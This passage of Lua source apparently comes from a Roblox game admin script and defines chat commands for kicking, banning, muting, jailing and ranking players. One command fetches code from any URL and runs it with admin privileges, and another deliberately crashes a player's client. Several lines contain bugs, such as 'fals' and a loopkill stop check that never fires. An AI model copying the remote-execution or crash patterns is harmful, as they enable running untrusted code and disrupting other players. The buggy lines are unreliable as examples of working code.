5731
5732 [{"accelerate", "accel", "acl"}] = {"player", "Accelerates them across roblox", 1, "Admin", true, function(Speaker, Rank, Arguments)
5733 local Players = STRING:Scan(Arguments[1], Speaker)
5734 for _,Player in pairs(Players) do
5735 local _,RankNum = RANK:GetRank(Player)
5736 if RankNum < RANK:ConvertRank(Rank) then
5737 Server.TS:Teleport(155307015, Player)
5738 end
5739 end
5740 end};
5741
5742 [{"rickroll", "rickastly"}] = {"player", "Rick rolls them to the movies", 1, "Admin", true, function(Speaker, Rank, Arguments)
5743 local Players = STRING:Scan(Arguments[1], Speaker)
5744 for _,Player in pairs(Players) do
5745 local _,RankNum = RANK:GetRank(Player)
5746 if RankNum < RANK:ConvertRank(Rank) then
5747 Server.TS:Teleport(347911447, Player)
5748 end
5749 end
5750 end};
5751
5752 [{"shield"}] = {"player", "Creates a protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5753 local Players = STRING:Scan(Arguments[1], Speaker)
5754 for _,Player in pairs(Players) do
5755 CORE:GenerateShield(Player)
5756 end
5757 end};
5758
5759 [{"noshield", "unshield", "deshield"}] = {"player", "Removes any protective shield around the player", 1, "Admin", false, function(Speaker, Rank, Arguments)
5760 local Players = STRING:Scan(Arguments[1], Speaker)
5761 for _,Player in pairs(Players) do
5762 if Player.Character then
5763 local Shield = Player.Character:FindFirstChild("Shield")
5764 if Shield then Shield:Destroy() end
5765 end
5766 end
5767 end};
5768
5769 [{"chance", "possibility", "random"}] = {"num", "Will randomly see if a 1/num chance worked out or not", 1, "Member", false, function(Speaker, Rank, Arguments)
5770 local Num = tonumber(Arguments[1])
5771 if Num and Num ~= 0 then
5772 local Random = math.random(1,math.abs(Num))
5773 if Random == math.random(1,math.abs(Num)) then
5774 GUI:SendMessage(Speaker, "Chance Success!", "Out of a 1/"..Num.." chance this message has shown up!", "Check")
5775 else
5776 GUI:SendMessage(Speaker, "Chance Failed.", "In the 1/"..Num.." chance given, there was no success", "Notice")
5777 end
5778 else
5779 GUI:SendMessage(Speaker, "Chance Error", Arguments[1].." is not a valid number", "Error")
5780 end
5781 end};
5782
5783 [{"ircchat"}] = {"string", "Will chat on the connect IRC your message", 1, "Owner", false, function(Speaker, Rank, Arguments)
5784 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Speaker.Name..": "..Arguments[1])
5785 IRC:AddChat(Speaker.Name, Arguments[1])
5786 end};
5787
5788 --[[
5789 [{"newserver", "makeserver"}] = {"", "Opens new server on the current game", 0, "Owner", false, function(Speaker, Rank, Arguments)
5790 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..game.PlaceId)
5791 if Res then
5792 GUI:SendMessage(Speaker, "Server created", "Server has been created", "Check")
5793 end
5794 end, Http = true};
5795
5796 [{"remotenewserver", "remotemakeserver", "rns"}] = {"number(ID)", "Opens new server on the ID of the game", 1, "Owner", false, function(Speaker, Rank, Arguments)
5797 local Res = REMOTE:GetURL(CORE.Domain.."/APIs/JoinGame.php?GameID="..Arguments[1])
5798 if Res then
5799 GUI:SendMessage(Speaker, "Server created", "Server has been created on game: "..Arguments[1], "Check")
5800 end
5801 end}, Http = true;
5802 ]]
5803
5804 [{"ircreconnect", "ircr"}] = {"", "Reconnects IRC", 0, "Owner", false, function(Speaker, Rank, Arguments)
5805 IRC:Quit("Reconnecting")
5806 IRC:ConnectToServer(Settings.IRCServer)
5807 end};
5808
5809 [{"irc", "ircgui"}] = {"player", "Will prompt irc chat on player", 1, "Member", false, function(Speaker, Rank, Arguments)
5810 local Players = STRING:Scan(Arguments[1], Speaker)
5811 for _,Player in pairs(Players) do
5812 local PreAdd = {}
5813 for _,Data in pairs(IRC.Chats) do
5814 local Error = nil
5815 if Rank == "Owner" then Error = Data[3] end
5816 table.insert(PreAdd, {Data[1], Data[2], Error})
5817 end
5818 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "IRC Chat on channel "..Settings.IRCChannel, 146027317, PreAdd)
5819 IRC.MessageAdded.Event:connect(function(UserName, Message, Error)
5820 if Rank ~= "Owner" then Error = nil end
5821 AddMessage:Invoke(UserName, Message, Error)
5822 end)
5823 SendPressed.Event:connect(function(Text)
5824 IRC:Send("PRIVMSG "..Settings.IRCChannel.." :"..Player.Name..": "..Text)
5825 IRC:AddChat(Player.Name, Text)
5826 end)
5827 end
5828 end};
5829
5830 [{"prichat", "privatechat", "pchat"}] = {"player", "Allows player to join the server's private chat", 1, "Admin", false, function(Speaker, Rank, Arguments)
5831 local Players = STRING:Scan(Arguments[1], Speaker)
5832 for _,Player in pairs(Players) do
5833 local SendPressed, AddMessage = GUI:CreateMessagePrompt(Player, "Private chat", "Lock", PriChat.Chats, function(Type)
5834 if Type == "Leave" then
5835 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has left the chat")
5836 elseif Type == "Join" then
5837 PriChat.Chatted:Fire("[ PRICHAT ]", Player.Name.." has joined the chat")
5838 end
5839 end)
5840 PriChat.Chatted.Event:connect(function(UserName, Message)
5841 AddMessage:Invoke(UserName, Message)
5842 end)
5843 SendPressed.Event:connect(function(Text)
5844 PriChat.Chatted:Fire(Player.Name, Text)
5845 table.insert(PriChat.Chats, {Player.Name, Text})
5846 end)
5847 end
5848 end};
5849
5850 [{"script", "exe"}] = {"string", "Will execute a script with global admin variables", 1, "Owner", false, function(Speaker, Rank, Arguments)
5851 ExecuteSafe(Arguments[1], Speaker)
5852 end};
5853
5854 [{"exehttp", "httpexe", "remoteexe", "plugin", "pluginhttp", "httpplugin", "remoteplugin"}] = {"string(URL)", "Will execute a script with global admin variables from the link", 1, "Owner", false, function(Speaker, Rank, Arguments)
5855 local Script = REMOTE:GetURL(Arguments[1], Player)
5856 if Script then
5857 ExecuteSafe(Script, Speaker)
5858 end
5859 end, Http = true};
5860
5861 [{"ping", "url", "link", "http"}] = {"string(URL)", "Pings string which is a URL", 1, "Member", false, function(Speaker, Rank, Arguments)
5862 local Time = tick()
5863 local Res = REMOTE:GetURL(Arguments[1], Player)
5864 if Res then
5865 GUI:SendMessage(Speaker, "Ping complete", "Response to: "..Arguments[1].." was complete in "..string.sub(tostring(tick() - Time),1,5).." seconds. Response: "..string.char(13, 10)..Res, "Check")
5866 end
5867 end, Http = true};
5868
5869 [{"removeadmin", "ra"}] = {"", "Removes admin permanently", 0, "Owner", false, function(Speaker, Rank, Arguments)
5870 CORE:RemoveAdmin(Speaker)
5871 end};
5872
5873 [{"h", "hint"}] = {"hint string", "Gives everyone in the server a hint string", 1, "Member", false, function(Speaker, Rank, Arguments)
5874 for _,Player in pairs(Server.Players:GetPlayers()) do
5875 GUI:SendHint(Player, Arguments[1], nil, Speaker)
5876 end
5877 end};
5878
5879 [{"murica", "merica", "america"}] = {"murica player", "You'll have to find out yourself", 1, "Admin", false, function(Speaker, Rank, Arguments)
5880 local Players = STRING:Scan(Arguments[1], Speaker)
5881 local Debt = nil
5882 for _,Player in pairs(Players) do
5883 if not Debt then
5884 Debt = GUI:ShowDebtStats(Player)
5885 else
5886 GUI:ShowDebtStats(Player, Debt)
5887 end
5888 end
5889 end, Http = true};
5890
5891 [{"hud", "target", "profiler"}] = {"player", "Opens a gui HUD that allows player to see player data", 1, "Owner", false, function(Speaker, Rank, Arguments)
5892 local Players = STRING:Scan(Arguments[1], Speaker)
5893 for _,Player in pairs(Players) do
5894 GUI:CreateHUD(Player)
5895 end
5896 end};
5897
5898 [{"nohud", "notarget", "noprofiler", "unhud", "untarget", "unprofiler"}] = {"player", "Removes HUD Gui if it's on the player", 1, "Owner", false, function(Speaker, Rank, Arguments)
5899 local Players = STRING:Scan(Arguments[1], Speaker)
5900 for _,Player in pairs(Players) do
5901 if Player:FindFirstChild("PlayerGui") then
5902 local HUD = Player.PlayerGui:FindFirstChild("Ma".."ke".."r".."m".."odelLu".."a's HUD Gui")
5903 if HUD then HUD:Destroy() end
5904 end
5905 end
5906 end};
5907
5908 [{"vote", "poll"}] = {"player string", "Gives player 30 seconds to answer yes or no to the question string", 2, "Member", false, function(Speaker, Rank, Arguments)
5909 local Players = STRING:Scan(Arguments[1], Speaker)
5910 GUI:Vote(Speaker, Players, Arguments[2], 30)
5911 end};
5912
5913 [{"bomb", "terrorist", "suicide"}] = {"player", "Puts an explosive IED device on player", 1, "Admin", true, function(Speaker, Rank, Arguments)
5914 local Players = STRING:Scan(Arguments[1], Speaker)
5915 for _,Player in pairs(Players) do
5916 CORE:ExecuteResource("Bomb", Player.Character)
5917 end
5918 end};
5919
5920 [{"debug", "d", "regen"}] = {"player", "Respawns player wherever they are at and fixes camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5921 local Players = STRING:Scan(Arguments[1], Speaker)
5922 for _,Player in pairs(Players) do
5923 CORE:ChangeCharacter(Player, Player.UserId, false, Speaker)
5924 CORE:RestoreCamera(Player)
5925 end
5926 end};
5927
5928 [{"debugme", "dm", "regenme"}] = {"player", "Respawns speaker wherever they are at and fixes camera", 0, "Member", false, function(Speaker, Rank, Arguments)
5929 CORE:ChangeCharacter(Speaker, Speaker.UserId, false, Speaker)
5930 CORE:RestoreCamera(Speaker)
5931 end};
5932
5933 [{"tp", "teleport", "tele"}] = {"player1 player2", "Teleports player 1 to player 2", 2, "Member", false, function(Speaker, Rank, Arguments)
5934 local Players1 = STRING:Scan(Arguments[1], Speaker)
5935 local Players2 = STRING:Scan(Arguments[2], Speaker)
5936 for _,Player1 in pairs(Players1) do
5937 if Player1.Character and Player1.Character:FindFirstChild("Torso") then
5938 for _,Player2 in pairs(Players2) do
5939 if Player2.Character and Player2.Character:FindFirstChild("Torso") then
5940 Player1.Character:MoveTo(Player2.Character.Torso.Position)
5941 end
5942 end
5943 end
5944 end
5945 end};
5946
5947 [{"respawn", "resp", "res"}] = {"player", "Respawns player", 1, "Member", false, function(Speaker, Rank, Arguments)
5948 local Players = STRING:Scan(Arguments[1], Speaker)
5949 for _,Player in pairs(Players) do
5950 Player:LoadCharacter()
5951 end
5952 end};
5953
5954 [{"fixcam", "fixcamera"}] = {"player", "Fixes player's camera", 1, "Member", false, function(Speaker, Rank, Arguments)
5955 local Players = STRING:Scan(Arguments[1], Speaker)
5956 for _,Player in pairs(Players) do
5957 CORE:RestoreCamera(Player)
5958 end
5959 end};
5960
5961 [{"jail"}] = {"player", "Puts player in a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5962 local Players = STRING:Scan(Arguments[1], Speaker)
5963 for _,Player in pairs(Players) do
5964 CORE:Jail(Player)
5965 end
5966 end};
5967
5968 [{"nojail", "unjail"}] = {"player", "Takes player out of a cell", 1, "Admin", false, function(Speaker, Rank, Arguments)
5969 local Players = STRING:Scan(Arguments[1], Speaker)
5970 for _,Player in pairs(Players) do
5971 CORE:UnJail(Player)
5972 end
5973 end};
5974
5975 [{"say", "speak", "charles", "talk"}] = {"string", "Will have Charles 2.0 say the text string", 1, "Member", false, function(Speaker, Rank, Arguments)
5976 SOUND:SayConvertedText(SOUND:ConvertText(Arguments[1]))
5977 end};
5978
5979 [{"nosay", "nospeak", "nocharles", "notalk", "unsay", "unspeak", "uncharles", "stoptalking", "stopspeak", "stopcharles", "stopsay", "shush", "shutup"}] = {"", "Stops Charles 2.0 talking", 0, "Member", false, function(Speaker, Rank, Arguments)
5980 SOUND:StopSpeaking()
5981 end};
5982
5983 [{"info", "information"}] = {"player", "Show's player's info", 1, "Member", false, function(Speaker, Rank, Arguments)
5984 local Players = STRING:Scan(Arguments[1], Speaker)
5985 local Compile = {}
5986 for Num,Player in pairs(Players) do
5987 local PlayerRank = RANK:GetRank(Player)
5988 local PlayerInfo = ClientInfo[Player.Name]
5989 table.insert(Compile, {"Name: "..Player.Name, "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Player.Name})
5990 table.insert(Compile, "User ID: "..Player.UserId)
5991 table.insert(Compile, "Age: "..STRING:FindAge(Player.AccountAge))
5992 table.insert(Compile, "Rank: "..PlayerRank)
5993
5994 if PlayerInfo.Accelerometer ~= nil then table.insert(Compile, "Has Accelerometer: "..STRING:BoolString(PlayerInfo.Accelerometer)) end
5995 if PlayerInfo.Gyroscope ~= nil then table.insert(Compile, "Has Gyroscope: "..STRING:BoolString(PlayerInfo.Gyroscope)) end
5996 if PlayerInfo.Gamepad ~= nil then table.insert(Compile, "Has Gamepad: "..STRING:BoolString(PlayerInfo.Gamepad)) end
5997 if PlayerInfo.Mouse ~= nil then table.insert(Compile, "Has Mouse: "..STRING:BoolString(PlayerInfo.Mouse)) end
5998 if PlayerInfo.Keyboard ~= nil then table.insert(Compile, "Has Keyboard: "..STRING:BoolString(PlayerInfo.Keyboard)) end
5999 if PlayerInfo.TouchScreen ~= nil then table.insert(Compile, "Has TouchScreen: "..STRING:BoolString(PlayerInfo.TouchScreen)) end
6000 if PlayerInfo.Benchmark then
6001 table.insert(Compile, "BLUE BENCHMARK: "..PlayerInfo.Benchmark)
6002 end
6003 if Num ~= #Players then table.insert(Compile, "-----------------------------") end
6004 end
6005 GUI:ListGui(Speaker, "Information on "..#Players.." player(s)", Compile, "Information", false, false)
6006 end};
6007
6008 [{"loopkill", "lkill", "loopk"}] = {"player num", "Kills player num times", 2, "Admin", false, function(Speaker, Rank, Arguments)
6009 if tonumber(Arguments[2]) then
6010 local Players = STRING:Scan(Arguments[1], Speaker)
6011 for _,Player in pairs(Players) do
6012 coroutine.wrap(function()
6013 if Player.Character then
6014 table.insert(LoopKills, Player.Name)
6015 local Loop = nil
6016 local PrevChar = nil
6017
6018 for i = 1,tonumber(Arguments[2]) do
6019 local Char = Player.Character
6020 if PrevChar and PrevChar ~= Char then
6021 PrevChar:Destroy()
6022 end
6023 PrevChar = Char
6024 local CanDie = true
6025 for _,Name in pairs(LoopKills) do if Name == Player.Name then CanDie = true end end
6026 if CanDie == false then
6027 break
6028 end
6029 ypcall(function() Char.Parent = Server.Lighting end)
6030 wait(0.1)
6031 ypcall(function() Char.Parent = Server.Workspace end)
6032 wait(0.1)
6033 end
6034 end
6035 end)()
6036 end
6037 else
6038 GUI:SendMessage(Speaker, "Cannot execute", "RED Argument 2 is not a valid number", "Error")
6039 end
6040 end};
6041
6042 [{"noloopkill", "nolkill", "noloopk", "unloopkill", "unlkill", "unloopk"}] = {"player num", "Stops any loop kills on a player", 1, "Admin", false, function(Speaker, Rank, Arguments)
6043 local Players = STRING:Scan(Arguments[1], Speaker)
6044 for _,Player in pairs(Players) do
6045 for Num,Name in pairs(LoopKills) do
6046 if Player.Name == Name then
6047 table.remove(LoopKills, Num)
6048 end
6049 end
6050 end
6051 end};
6052
6053 [{"sound", "audio", "music"}] = {"num/string", "Plays the sound ID or string from the soundlist", 1, "Member", false, function(Speaker, Rank, Arguments)
6054 SOUND:PlayGlobalSound(Arguments[1])
6055 end};
6056
6057 [{"nosound", "noaudio", "nomusic", "stopsound", "stopaudio", "stopmusic"}] = {"", "Removes the current sound playing", 0, "Member", false, function(Speaker, Rank, Arguments)
6058 SOUND:StopGlobalSound()
6059 SOUND:ClearInfo()
6060 end};
6061
6062 [{"pitch"}] = {"num", "Sets the pitch of the current sound to num", 1, "Member", false, function(Speaker, Rank, Arguments)
6063 local Pitch = tonumber(Arguments[1])
6064 if not Pitch then Pitch = 1 end
6065 if Sound then
6066 Sound.Pitch = Pitch
6067 end
6068 end};
6069
6070 [{"search", "searchsound", "searchsounds", "searchaudio", "searchmusic", "ss"}] = {"string", "Searches the catalog for the sound string", 1, "Member", false, function(Speaker, Rank, Arguments)
6071 local CloseGui, AddInfo = GUI:LoadGui(Speaker, "Searching for: "..Arguments[1])
6072 local Items = MARKET:SearchItem(9, Arguments[1])
6073 if Items then
6074 if #Items ~= 0 then
6075 local List,Correlate = {},{}
6076 for Num,Info in pairs(Items) do
6077 local Display = " "..Info.Name.." by: "..Info.Creator.." ("..Info.AssetId..")"
6078 table.insert(List, Display)
6079 Correlate[Display] = Info.AssetId
6080 end
6081 CloseGui:Invoke()
6082
6083 local CanClick = true
6084 if Rank == "Member" then CanClick = false end
6085 local Clicked = GUI:ListGui(Speaker, "Search Results: "..Arguments[1], List, "Search", CanClick)
6086 Clicked.Event:connect(function(ClickName)
6087 local OldSoundId = nil
6088 SOUND:StopGlobalSound()
6089 if "rbxassetid://"..Correlate[ClickName] ~= OldSoundID then
6090 SOUND:PlayGlobalSound(Correlate[ClickName])
6091 end
6092 end)
6093 else
6094 CloseGui:Invoke()
6095 GUI:SendMessage(Speaker, "No results", "BLUE No results for "..Arguments[1].." found...", "Information")
6096 end
6097 else
6098 CloseGui:Invoke()
6099 GUI:SendMessage(Speaker, "Cannot get audio", "RED Cannot get audio. Is HttpService enabled?", "Error")
6100 end
6101 end, Http = true};
6102
6103 [{"gun"}] = {"player", "Gives player a gun", 1, "Member", false, function(Speaker, Rank, Arguments)
6104 local Players = STRING:Scan(Arguments[1], Speaker)
6105 for _,Player in pairs(Players) do
6106 if Player.Character then
6107 CORE:ExecuteResource("Gun", Player.Character)
6108 end
6109 end
6110 end};
6111
6112 [{"sink", "pothole", "quicksand"}] = {"player", "Sinks the player", 1, "Member", true, function(Speaker, Rank, Arguments)
6113 local Players = STRING:Scan(Arguments[1], Speaker)
6114 for _,Player in pairs(Players) do
6115 if Player.Character and Player.Character:FindFirstChild("Torso") and Player.Character:FindFirstChild("Humanoid") then
6116 local Hole = Instance.new("Part", Player.Character) Hole.Name = "Hole" Hole.BrickColor = BrickColor.new("Really black") Hole.Size = Vector3.new(5,1.2,5) Hole.Anchored = true Hole.CanCollide = fals Hole.Locked = true Hole.CFrame = Player.Character.Torso.CFrame * CFrame.new(0,-3.5,0) * CFrame.Angles(0,0,0) Instance.new("CylinderMesh", Hole)
6117 Player.Character.Humanoid.WalkSpeed = 0
6118 Player.Character.Torso.Anchored = true
6119 coroutine.wrap(function()
6120 local OldCFrame = Player.Character.Torso.CFrame
6121 for i = 0,8,0.1 do
6122 Player.Character.Torso.CFrame = OldCFrame * CFrame.new(0,-i,0)
6123 wait()
6124 end
6125 Player.Character.Torso.Anchored = false
6126 Player.Character:BreakJoints()
6127 CORE:InvisiblePlayer(Player)
6128 end)()
6129 end
6130 end
6131 end};
6132
6133 [{"freeze", "anchor"}] = {"player", "Freezes player in place", 1, "Member", false, function(Speaker, Rank, Arguments)
6134 local Players = STRING:Scan(Arguments[1], Speaker)
6135 for _,Player in pairs(Players) do
6136 CORE:AnchorPlayer(Player)
6137 end
6138 end};
6139
6140 [{"nofreeze", "unfreeze", "noanchor", "unanchor", "thaw"}] = {"player", "Unfreezes player", 1, "Member", false, function(Speaker, Rank, Arguments)
6141 local Players = STRING:Scan(Arguments[1], Speaker)
6142 for _,Player in pairs(Players) do
6143 CORE:UnanchorPlayer(Player)
6144 end
6145 end};
6146
6147 [{"invisible", "invis"}] = {"player", "Makes player invisible", 1, "Member", false, function(Speaker, Rank, Arguments)
6148 local Players = STRING:Scan(Arguments[1], Speaker)
6149 for _,Player in pairs(Players) do
6150 CORE:InvisiblePlayer(Player)
6151 end
6152 end};
6153
6154 [{"visible", "vis"}] = {"player", "Makes player visible", 1, "Member", false, function(Speaker, Rank, Arguments)
6155 local Players = STRING:Scan(Arguments[1], Speaker)
6156 for _,Player in pairs(Players) do
6157 CORE:VisiblePlayer(Player)
6158 end
6159 end};
6160
6161 [{"asteroid", "comet", "meteor", "meteorite"}] = {"player", "Shoots an asteroid at player", 1, "Member", true, function(Speaker, Rank, Arguments)
6162 local Players = STRING:Scan(Arguments[1], Speaker)
6163 for _,Player in pairs(Players) do
6164 if Player.Character and Player.Character:FindFirstChild("Torso") then
6165 local Ast = Instance.new("Part", Server.Workspace) Ast.Name = "Asteroid" Ast.Position = Player.Character.Torso.Position + Vector3.new(0,500,0) Ast.Size = Vector3.new(12,12,12)
6166 local Mesh = Instance.new("SpecialMesh", Ast) Mesh.MeshId = "rbxassetid://1290033" Mesh.Scale = Vector3.new(6.2,6.2,6.2) Mesh.TextureId = "rbxassetid://1290030"
6167 local Fire = Instance.new("Fire", Ast) Fire.Heat = 25 Fire.Size = 30
6168 local Smoke = Instance.new("Smoke", Ast) Smoke.RiseVelocity = 10 Smoke.Size = 10
6169 local BoomSound = SOUND:MakeSound(Ast, 188590169, 1, 1)
6170 local Fly = SOUND:MakeSound(Ast, 179438534, 1, 1, true)
6171 Fly:Play()
6172 local Touched = false
6173 coroutine.wrap(function()
6174 repeat wait(0.1)
6175 Ast.Position = Vector3.new(Player.Character.Torso.Position.X, Ast.Position.Y, Player.Character.Torso.Position.Z)
6176 until not Ast or Ast.Parent == nil or Touched == true
6177 end)()
6178 Ast.Touched:connect(function(Part)
6179 if Touched == false then
6180 Touched = true
6181 Part:BreakJoints()
6182 local Boom = Instance.new("Explosion", Workspace)
6183 Boom.Position = Ast.Position
6184 Boom.BlastPressure = 1000000
6185 Boom.BlastRadius = 30
6186 Fire.Heat = 0
6187 Smoke.RiseVelocity = 0
6188 Fly:Stop()
6189 BoomSound:Play()
6190 coroutine.wrap(function()
6191 wait(3)
6192 BoomSound:Stop()
6193 if Ast and Ast.Parent ~= nil then
6194 Ast:Destroy()
6195 end
6196 end)()
6197 end
6198 end)
6199 end
6200 end
6201 end};
6202
6203 [{"kick"}] = {"player", "Will kick player out of the server", 1, "Admin", false, function(Speaker, Rank, Arguments)
6204 local Success = {}
6205 local Players = STRING:Scan(Arguments[1], Speaker)
6206 for _,Player in pairs(Players) do
6207 local PlayerRank = RANK:GetRank(Player)
6208 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6209 CORE:Kick(Player)
6210 table.insert(Success, Player)
6211 end
6212 end
6213 REMOTE:SendHttpLog(Speaker.Name.." kicked "..CORE:UnpackPlayers(Success), "INFORMATION")
6214 end};
6215
6216 [{"ban"}] = {"player", "Will ban player and will be unable to join", 1, "Admin", false, function(Speaker, Rank, Arguments)
6217 local Success = {}
6218 local Players = STRING:Scan(Arguments[1], Speaker)
6219 for _,Player in pairs(Players) do
6220 local PlayerRank = RANK:GetRank(Player)
6221 if PlayerRank ~= "Owner" and PlayerRank ~= "Admin" then
6222 RANK:RemoveRank(Player)
6223 table.insert(Settings.Ranks.Banned, Player.Name)
6224 CORE:Kick(Player)
6225 table.insert(Success, Player)
6226 end
6227 end
6228 REMOTE:SendHttpLog(Speaker.Name.." banned "..CORE:UnpackPlayers(Success), "WARNING")
6229 end};
6230
6231 [{"crash"}] = {"player", "Will crash player with a painful BSOD", 1, "Owner", false, function(Speaker, Rank, Arguments)
6232 local Success = {}
6233 local Players = STRING:Scan(Arguments[1], Speaker)
6234 for _,Player in pairs(Players) do
6235 local PlayerRank = RANK:GetRank(Player)
6236 if PlayerRank ~= "Owner" then
6237 RANK:RemoveRank(Player)
6238 table.insert(Settings.Ranks.Crashed, Player.Name)
6239 CORE:Crash(Player)
6240 table.insert(Success, Player)
6241 end
6242 end
6243 REMOTE:SendHttpLog(Speaker.Name.." crashed "..CORE:UnpackPlayers(Success), "INFORMATION")
6244 end};
6245
6246 [{"mute"}] = {"player", "Makes player unable to talk", 1, "Owner", false, function(Speaker, Rank, Arguments)
6247 local Success = {}
6248 local Players = STRING:Scan(Arguments[1], Speaker)
6249 for _,Player in pairs(Players) do
6250 local PlayerRank = RANK:GetRank(Player)
6251 if PlayerRank ~= "Owner" then
6252 RANK:RemoveRank(Player)
6253 table.insert(Settings.Ranks.Muted, Player.Name)
6254 GUI:CoreGui(Player, "Chat", false)
6255 table.insert(Success, Player)
6256 end
6257 end
6258 REMOTE:SendHttpLog(Speaker.Name.." has muted "..CORE:UnpackPlayers(Success), "INFORMATION")
6259 end};
6260
6261 [{"noadmin", "unadmin", "nomember", "unmember", "nomem", "unmem", "noowner", "unowner", "noown", "unown", "nocrash", "uncrash", "noban", "unban", "nomute", "unmute", "derank"}] = {"player", "Removes whatever rank player has(if your rank is sufficient enough to override player's)", 1, "Admin", false, function(Speaker, Rank, Arguments)
6262 local Players = STRING:Scan(Arguments[1], Speaker)
6263 if #Players > 0 then
6264 local Success = {}
6265 for _,Player in pairs(Players) do
6266 local RankName,RankNum = RANK:GetRank(Player)
6267 if RankNum < RANK:ConvertRank(Rank) or RANK:IsSupremeOwner(Speaker) then
6268 if not RANK:IsSupremeOwner(Player) then
6269 if RankName == "Muted" then
6270 GUI:CoreGui(Player, "Chat", true)
6271 end
6272 if RankNum > 0 then
6273 GUI:TellNotAdmin(Player)
6274 end
6275 RANK:RemoveRank(Player)
6276 table.insert(Success, Player)
6277 end
6278 end
6279 end
6280 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..CORE:UnpackPlayers(Players), "INFORMATION")
6281 else
6282 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6283 if Player then
6284 local RankNum = RANK:ConvertRank(PlayerRank)
6285 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6286 if not RANK:IsSupremeOwner(Player) then
6287 RANK:RemoveRank(Player)
6288 REMOTE:SendHttpLog(Speaker.Name.." has unranked "..Player, "INFORMATION")
6289 end
6290 end
6291 end
6292 end
6293 end};
6294
6295 [{"member", "mem"}] = {"player", "Adds player to the member list", 1, "Admin", false, function(Speaker, Rank, Arguments)
6296 local Players = STRING:Scan(Arguments[1], Speaker)
6297 if #Players > 0 then
6298 local Success = {}
6299 for _,Player in pairs(Players) do
6300 local PlayerRank,RankNum = RANK:GetRank(Player)
6301 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6302 RANK:RemoveRank(Player)
6303 table.insert(Settings.Ranks.Member, Player.Name)
6304 GUI:TellAdmin(Player)
6305 table.insert(Success, Player)
6306 end
6307 end
6308 REMOTE:SendHttpLog(Speaker.Name.." has membered "..CORE:UnpackPlayers(Success), "INFORMATION")
6309 else
6310 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6311 if Player then
6312 local RankNum = RANK:ConvertRank(PlayerRank)
6313 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6314 if not RANK:IsSupremeOwner(Player) then
6315 RANK:RemoveRank(Player)
6316 table.insert(Settings.Ranks.Member, Player)
6317 end
6318 end
6319 else
6320 RANK:RemoveRank(Arguments[1])
6321 table.insert(Settings.Ranks.Member, Arguments[1])
6322 end
6323 end
6324 end};
6325
6326 [{"admin", "adm"}] = {"player", "Adds player to the admin list", 1, "Owner", false, function(Speaker, Rank, Arguments)
6327 local Players = STRING:Scan(Arguments[1], Speaker)
6328 if #Players > 0 then
6329 local Success = {}
6330 for _,Player in pairs(Players) do
6331 local PlayerRank,RankNum = RANK:GetRank(Player)
6332 if RANK:ConvertRank(Rank) > RankNum or RANK:IsSupremeOwner(Speaker) and not RANK:IsSupremeOwner(Player) then
6333 RANK:RemoveRank(Player)
6334 table.insert(Settings.Ranks.Admin, Player.Name)
6335 GUI:TellAdmin(Player)
6336 table.insert(Success, Player)
6337 end
6338 end
6339 REMOTE:SendHttpLog(Speaker.Name.." has admined "..CORE:UnpackPlayers(Success), "INFORMATION")
6340 else
6341 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6342 if Player then
6343 local RankNum = RANK:ConvertRank(PlayerRank)
6344 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6345 if not RANK:IsSupremeOwner(Player) then
6346 RANK:RemoveRank(Player)
6347 table.insert(Settings.Ranks.Admin, Player)
6348 end
6349 end
6350 else
6351 RANK:RemoveRank(Arguments[1])
6352 table.insert(Settings.Ranks.Admin, Arguments[1])
6353 end
6354 end
6355 end};
6356
6357 [{"owner", "own"}] = {"player", "Adds player to the owner list(Speaker must be game owner)", 1, "Owner", false, function(Speaker, Rank, Arguments)
6358 local Players = STRING:Scan(Arguments[1], Speaker)
6359 if RANK:IsSupremeOwner(Speaker) then
6360 if #Players > 0 then
6361 local Success = {}
6362 for _,Player in pairs(Players) do
6363 if not RANK:IsSupremeOwner(Player) then
6364 RANK:RemoveRank(Player)
6365 table.insert(Settings.Ranks.Owner, Player.Name)
6366 GUI:TellAdmin(Player)
6367 table.insert(Success, Player)
6368 end
6369 end
6370 REMOTE:SendHttpLog(Speaker.Name.." has ownered "..CORE:UnpackPlayers(Success), "INFORMATION")
6371 else
6372 local Player,PlayerRank = RANK:GetPlayerFromList(Arguments[1])
6373 if Player then
6374 local RankNum = RANK:ConvertRank(PlayerRank)
6375 if RANK:IsSupremeOwner(Speaker) or RankNum < RANK:ConvertRank(Rank) then
6376 if not RANK:IsSupremeOwner(Player) then
6377 RANK:RemoveRank(Player)
6378 table.insert(Settings.Ranks.Owner, Player)
6379 end
6380 end
6381 else
6382 RANK:RemoveRank(Arguments[1])
6383 table.insert(Settings.Ranks.Owner, Arguments[1])
6384 end
6385 end
6386 end
6387 end};
6388
6389 [{"admins", "adminlist"}] = {"", "Lists all admins in the admin", 0, "Member", false, function(Speaker, Rank, Arguments)
6390 local TableStorage = {}
6391 for _,Obj in pairs(Settings.Ranks.Member) do table.insert(TableStorage, Obj..": Member") end
6392 for _,Obj in pairs(Settings.Ranks.Admin) do table.insert(TableStorage, Obj..": Admin") end
6393 for _,Obj in pairs(Settings.Ranks.Owner) do table.insert(TableStorage, "BOLD: "..Obj..": Owner") end
6394 GUI:ListGui(Speaker, "Admin List", TableStorage, 45961462)
6395 end};
6396
6397 [{"serveradmins", "sa"}] = {"", "Lists all admins in the server", 0, "Member", false, function(Speaker, Rank, Arguments)
6398 local TableStorage = {}
6399 for _,Player in pairs(Server.Players:GetChildren()) do
6400 local ValidAdmin,PlayerRank = RANK:IsAdmin(Player)
6401 if ValidAdmin then
6402 if PlayerRank == "Owner" then
